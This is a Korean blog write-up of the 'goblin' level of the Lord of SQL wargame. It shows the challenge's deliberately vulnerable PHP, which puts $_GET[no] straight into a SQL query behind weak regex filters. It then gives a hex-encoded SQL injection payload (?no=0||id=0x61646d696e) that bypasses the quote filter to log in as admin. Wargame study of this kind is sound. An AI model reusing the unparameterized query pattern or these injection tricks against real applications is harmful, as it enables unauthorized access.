query : select id from prob_goblin where id='guest' and no=

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  
$query "select id from prob_goblin where id='guest' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("goblin");
  
highlight_file(__FILE__); 
?>



  if($result['id'] == 'admin'solve("goblin");

2번이랑 똑같습니다.. 만 id가 guest로 고정이네요. 그리고 no에서 single quote를 막고있지만 no는 single quote로 감싸져있지 않기 때문에 상관 없습니다. hex encoding 해서 admin을 주겠습니다.

?no=0||id=0x61646d696e 

payload







'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 5 - wolfman  (0) 2018.08.21
los(lord of sql) level 4 - orc  (0) 2018.08.21
los(lord of sql) level 2 - cobolt  (0) 2018.08.21
los(lord of sql) level 1 - gremlin  (0) 2018.08.21
[Web] LOS(Lord of SQL) 워게임 풀이 3  (0) 2018.04.25

+ Recent posts